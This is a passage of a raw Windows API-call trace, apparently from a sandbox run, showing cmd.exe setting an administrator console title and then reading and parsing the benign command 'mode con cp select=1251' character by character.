dwFlags=0x1900, lpSource=0x0, dwMessageId=0x40002748, dwLanguageId=0x0, lpBuffer=0x24fbe0, nSize=0x0, Arguments=0x24fbe8 | out: lpBuffer="韠7") returned 0xf [0056.461] GetProcessHeap () returned 0x360000 [0056.461] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x8, Size=0x218) returned 0x361ab0 [0056.461] GetConsoleTitleW (in: lpConsoleTitle=0x24fc30, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0056.461] wcsstr (_Str="C:\\Windows\\system32\\cmd.exe", _SubStr="Administrator: ") returned 0x0 [0056.462] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0056.462] GetProcessHeap () returned 0x360000 [0056.462] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x361ab0 | out: hHeap=0x360000) returned 1 [0056.462] LocalFree (hMem=0x3797e0) returned 0x0 [0056.462] GetProcessHeap () returned 0x360000 [0056.462] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x37aa10 | out: hHeap=0x360000) returned 1 [0056.463] _vsnwprintf (in: _Buffer=0x4a4b6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x24f918 | out: _Buffer="\r\n") returned 2 [0056.463] _get_osfhandle (_FileHandle=1) returned 0xf4 [0056.463] GetFileType (hFile=0xf4) returned 0x3 [0056.463] _get_osfhandle (_FileHandle=1) returned 0xf4 [0056.463] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a4ac320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0056.463] WriteFile (in: hFile=0xf4, lpBuffer=0x4a4ac320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x24f8e8, lpOverlapped=0x0 | out: lpBuffer=0x4a4ac320*, lpNumberOfBytesWritten=0x24f8e8*=0x2, lpOverlapped=0x0) returned 1 [0056.463] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a49f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0056.463] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a4ac0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0056.463] _vsnwprintf (in: _Buffer=0x4a49eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x24f928 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0056.463] _vsnwprintf (in: _Buffer=0x4a49ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x24f928 | out: _Buffer=">") returned 1 [0056.463] _get_osfhandle (_FileHandle=1) returned 0xf4 [0056.463] GetFileType (hFile=0xf4) returned 0x3 [0056.463] _get_osfhandle (_FileHandle=1) returned 0xf4 [0056.463] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a4ac320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0056.463] WriteFile (in: hFile=0xf4, lpBuffer=0x4a4ac320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x24f918, lpOverlapped=0x0 | out: lpBuffer=0x4a4ac320*, lpNumberOfBytesWritten=0x24f918*=0x26, lpOverlapped=0x0) returned 1 [0056.464] _get_osfhandle (_FileHandle=0) returned 0xe8 [0056.464] GetFileType (hFile=0xe8) returned 0x3 [0056.464] _get_osfhandle (_FileHandle=0) returned 0xe8 [0056.464] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0056.464] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24fc18, lpOverlapped=0x0 | out: lpBuffer=0x4a4ac320*, lpNumberOfBytesRead=0x24fc18*=0x1, lpOverlapped=0x0) returned 1 [0056.464] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4ac320, cbMultiByte=1, lpWideCharStr=0x4a4ae320, cchWideChar=1 | out: lpWideCharStr="m") returned 1 [0056.465] _get_osfhandle (_FileHandle=0) returned 0xe8 [0056.465] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0056.465] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24fc18, lpOverlapped=0x0 | out: lpBuffer=0x4a4ac320*, lpNumberOfBytesRead=0x24fc18*=0x1, lpOverlapped=0x0) returned 1 [0056.465] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4ac320, cbMultiByte=1, lpWideCharStr=0x4a4ae322, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0056.465] _get_osfhandle (_FileHandle=0) returned 0xe8 [0056.465] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0056.465] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24fc18, lpOverlapped=0x0 | out: lpBuffer=0x4a4ac320*, lpNumberOfBytesRead=0x24fc18*=0x1, lpOverlapped=0x0) returned 1 [0056.465] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4ac320, cbMultiByte=1, lpWideCharStr=0x4a4ae324, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0056.465] _get_osfhandle (_FileHandle=0) returned 0xe8 [0056.465] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0056.465] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24fc18, lpOverlapped=0x0 | out: lpBuffer=0x4a4ac320*, lpNumberOfBytesRead=0x24fc18*=0x1, lpOverlapped=0x0) returned 1 [0056.465] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4ac320, cbMultiByte=1, lpWideCharStr=0x4a4ae326, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0056.465] _get_osfhandle (_FileHandle=0) returned 0xe8 [0056.465] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0056.465] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24fc18, lpOverlapped=0x0 | out: lpBuffer=0x4a4ac320*, lpNumberOfBytesRead=0x24fc18*=0x1, lpOverlapped=0x0) returned 1 [0056.465] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4ac320, cbMultiByte=1, lpWideCharStr=0x4a4ae328, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0056.465] _get_osfhandle (_FileHandle=0) returned 0xe8 [0056.465] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0056.465] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24fc18, lpOverlapped=0x0 | out: lpBuffer=0x4a4ac320*, lpNumberOfBytesRead=0x24fc18*=0x1, lpOverlapped=0x0) returned 1 [0056.465] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4ac320, cbMultiByte=1, lpWideCharStr=0x4a4ae32a, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0056.465] _get_osfhandle (_FileHandle=0) returned 0xe8 [0056.465] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0056.466] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24fc18, lpOverlapped=0x0 | out: lpBuffer=0x4a4ac320*, lpNumberOfBytesRead=0x24fc18*=0x1, lpOverlapped=0x0) returned 1 [0056.466] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4ac320, cbMultiByte=1, lpWideCharStr=0x4a4ae32c, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0056.466] _get_osfhandle (_FileHandle=0) returned 0xe8 [0056.466] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0056.466] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24fc18, lpOverlapped=0x0 | out: lpBuffer=0x4a4ac320*, lpNumberOfBytesRead=0x24fc18*=0x1, lpOverlapped=0x0) returned 1 [0056.466] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4ac320, cbMultiByte=1, lpWideCharStr=0x4a4ae32e, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0056.466] _get_osfhandle (_FileHandle=0) returned 0xe8 [0056.466] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0056.466] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24fc18, lpOverlapped=0x0 | out: lpBuffer=0x4a4ac320*, lpNumberOfBytesRead=0x24fc18*=0x1, lpOverlapped=0x0) returned 1 [0056.466] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4ac320, cbMultiByte=1, lpWideCharStr=0x4a4ae330, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0056.466] _get_osfhandle (_FileHandle=0) returned 0xe8 [0056.466] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0056.466] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24fc18, lpOverlapped=0x0 | out: lpBuffer=0x4a4ac320*, lpNumberOfBytesRead=0x24fc18*=0x1, lpOverlapped=0x0) returned 1 [0056.466] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4ac320, cbMultiByte=1, lpWideCharStr=0x4a4ae332, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0056.466] _get_osfhandle (_FileHandle=0) returned 0xe8 [0056.466] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0056.466] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24fc18, lpOverlapped=0x0 | out: lpBuffer=0x4a4ac320*, lpNumberOfBytesRead=0x24fc18*=0x1, lpOverlapped=0x0) returned 1 [0056.466] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4ac320, cbMultiByte=1, lpWideCharStr=0x4a4ae334, cchWideChar=1 | out: lpWideCharStr="p") returned 1 [0056.466] _get_osfhandle (_FileHandle=0) returned 0xe8 [0056.466] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0056.466] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24fc18, lpOverlapped=0x0 | out: lpBuffer=0x4a4ac320*, lpNumberOfBytesRead=0x24fc18*=0x1, lpOverlapped=0x0) returned 1 [0056.466] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4ac320, cbMultiByte=1, lpWideCharStr=0x4a4ae336, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0056.466] _get_osfhandle (_FileHandle=0) returned 0xe8 [0056.466] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0056.467] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24fc18, lpOverlapped=0x0 | out: lpBuffer=0x4a4ac320*, lpNumberOfBytesRead=0x24fc18*=0x1, lpOverlapped=0x0) returned 1 [0056.467] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4ac320, cbMultiByte=1, lpWideCharStr=0x4a4ae338, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0056.467] _get_osfhandle (_FileHandle=0) returned 0xe8 [0056.467] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0056.467] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24fc18, lpOverlapped=0x0 | out: lpBuffer=0x4a4ac320*, lpNumberOfBytesRead=0x24fc18*=0x1, lpOverlapped=0x0) returned 1 [0056.467] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4ac320, cbMultiByte=1, lpWideCharStr=0x4a4ae33a, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0056.467] _get_osfhandle (_FileHandle=0) returned 0xe8 [0056.467] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0056.467] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24fc18, lpOverlapped=0x0 | out: lpBuffer=0x4a4ac320*, lpNumberOfBytesRead=0x24fc18*=0x1, lpOverlapped=0x0) returned 1 [0056.467] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4ac320, cbMultiByte=1, lpWideCharStr=0x4a4ae33c, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0056.467] _get_osfhandle (_FileHandle=0) returned 0xe8 [0056.467] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0056.467] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24fc18, lpOverlapped=0x0 | out: lpBuffer=0x4a4ac320*, lpNumberOfBytesRead=0x24fc18*=0x1, lpOverlapped=0x0) returned 1 [0056.467] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4ac320, cbMultiByte=1, lpWideCharStr=0x4a4ae33e, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0056.467] _get_osfhandle (_FileHandle=0) returned 0xe8 [0056.467] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0056.467] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24fc18, lpOverlapped=0x0 | out: lpBuffer=0x4a4ac320*, lpNumberOfBytesRead=0x24fc18*=0x1, lpOverlapped=0x0) returned 1 [0056.467] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4ac320, cbMultiByte=1, lpWideCharStr=0x4a4ae340, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0056.467] _get_osfhandle (_FileHandle=0) returned 0xe8 [0056.467] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0056.467] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24fc18, lpOverlapped=0x0 | out: lpBuffer=0x4a4ac320*, lpNumberOfBytesRead=0x24fc18*=0x1, lpOverlapped=0x0) returned 1 [0056.467] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4ac320, cbMultiByte=1, lpWideCharStr=0x4a4ae342, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0056.467] _get_osfhandle (_FileHandle=0) returned 0xe8 [0056.467] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0056.467] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24fc18, lpOverlapped=0x0 | out: lpBuffer=0x4a4ac320*, lpNumberOfBytesRead=0x24fc18*=0x1, lpOverlapped=0x0) returned 1 [0056.468] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4ac320, cbMultiByte=1, lpWideCharStr=0x4a4ae344, cchWideChar=1 | out: lpWideCharStr="=") returned 1 [0056.468] _get_osfhandle (_FileHandle=0) returned 0xe8 [0056.468] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0056.468] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24fc18, lpOverlapped=0x0 | out: lpBuffer=0x4a4ac320*, lpNumberOfBytesRead=0x24fc18*=0x1, lpOverlapped=0x0) returned 1 [0056.468] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4ac320, cbMultiByte=1, lpWideCharStr=0x4a4ae346, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0056.468] _get_osfhandle (_FileHandle=0) returned 0xe8 [0056.468] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0056.468] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24fc18, lpOverlapped=0x0 | out: lpBuffer=0x4a4ac320*, lpNumberOfBytesRead=0x24fc18*=0x1, lpOverlapped=0x0) returned 1 [0056.468] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4ac320, cbMultiByte=1, lpWideCharStr=0x4a4ae348, cchWideChar=1 | out: lpWideCharStr="2") returned 1 [0056.468] _get_osfhandle (_FileHandle=0) returned 0xe8 [0056.468] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0056.468] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24fc18, lpOverlapped=0x0 | out: lpBuffer=0x4a4ac320*, lpNumberOfBytesRead=0x24fc18*=0x1, lpOverlapped=0x0) returned 1 [0056.468] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4ac320, cbMultiByte=1, lpWideCharStr=0x4a4ae34a, cchWideChar=1 | out: lpWideCharStr="5") returned 1 [0056.468] _get_osfhandle (_FileHandle=0) returned 0xe8 [0056.468] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0056.468] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24fc18, lpOverlapped=0x0 | out: lpBuffer=0x4a4ac320*, lpNumberOfBytesRead=0x24fc18*=0x1, lpOverlapped=0x0) returned 1 [0056.468] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4ac320, cbMultiByte=1, lpWideCharStr=0x4a4ae34c, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0056.468] _get_osfhandle (_FileHandle=0) returned 0xe8 [0056.468] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0056.468] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24fc18, lpOverlapped=0x0 | out: lpBuffer=0x4a4ac320*, lpNumberOfBytesRead=0x24fc18*=0x1, lpOverlapped=0x0) returned 1 [0056.468] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4ac320, cbMultiByte=1, lpWideCharStr=0x4a4ae34e, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0056.724] _get_osfhandle (_FileHandle=0) returned 0xe8 [0056.724] GetFileType (hFile=0xe8) returned 0x3 [0056.724] _get_osfhandle (_FileHandle=0) returned 0xe8 [0056.724] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0056.724] _get_osfhandle (_FileHandle=1) returned 0xf4 [0056.724] GetFileType (hFile=0xf4) returned 0x3 [0056.724] _get_osfhandle (_FileHandle=1) returned 0xf4 [0056.724] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="mode con cp select=1251\n", cchWideChar=-1, lpMultiByteStr=0x4a4ac320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mode con cp select=1251\n", lpUsedDefaultChar=0x0) returned 25 [0056.724] WriteFile (in: hFile=0xf4, lpBuffer=0x4a4ac320*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x24fbf8, lpOverlapped=0x0 | out: lpBuffer=0x4a4ac320*, lpNumberOfBytesWritten=0x24fbf8*=0x18, lpOverlapped=0x0) returned 1 [0056.724] GetProcessHeap () returned 0x360000 [0056.724] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x8, Size=0x4012) returned 0x37cd20 [0056.724] GetProcessHeap () returned 0x360000 [0056.724] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x37cd20 | out: hHeap=0x360000) returned 1 [0056.725] _wcsicmp (_String1="mode", _String2=")") returned 68 [0056.725] _wcsicmp (_String1="FOR", _String2="mode") returned -7 [0056.725] _wcsicmp (_String1="FOR/?", _String2="mode") returned -7 [0056.725] _wcsicmp (_String1="IF", _String2="mode") returned -4 [0056.725] _wcsicmp (_String1="IF/?", _String2="mode") returned -4 [0056.725] _wcsicmp (_String1="REM", _String2="mode") returned 5 [0056.725] _wcsicmp (_String1="REM/?", _String2="mode") returned 5 [0056.725] GetProcessHeap () returned 0x360000 [0056.725] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x8, Size=0xb0) returned 0x3797e0 [0056.725] GetProcessHeap () returned 0x360000 [0056.725] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x8, Size=0x1a) returned 0x374610 [0056.726] GetProcessHeap () returned 0x360000 [0056.726] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x8, Size=0x38) returned 0x376510 [0056.727] GetConsoleOutputCP () returned 0x1b5 [0056.727] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a4abfe0 | out: lpCPInfo=0x4a4abfe0) returned 1 [0056.727] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0056.727] GetConsoleTitleW (in: lpConsoleTitle=0x24fbb0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0056.727] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0056.727] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0056.727] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0056.727] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0056.727] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0056.727] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0056.727] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0056.727] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0056.727] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0056.728] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0056.728] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0056.728] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0056.728] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0056.728] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0056.728] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0056.728] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0056.728] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0056.728] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0056.728] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0056.728] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0056.728] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0056.728] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0056.728] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0056.728] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0056.728] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0056.728] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0056.728] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0056.728] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0056.728] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0056.728] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0056.728] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0056.728] _wcsicmp (_String1="mode", _String2="START") returned -6 [0056.728] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0056.728] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0056.728] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0056.728] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0056.728] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0056.728] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0056.728] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0056.728] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0056.728] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0056.728] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0056.728] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0056.728] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0056.728] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0056.729] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0056.729] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0056.729] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0056.729] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0056.729] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0056.729] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0056.729] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0056.729] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0056.729] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0056.729] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0056.729] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0056.729] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0056.729] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0056.729] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0056.729] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0056.729] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0056.729] _wcsicmp (_String1="mode", 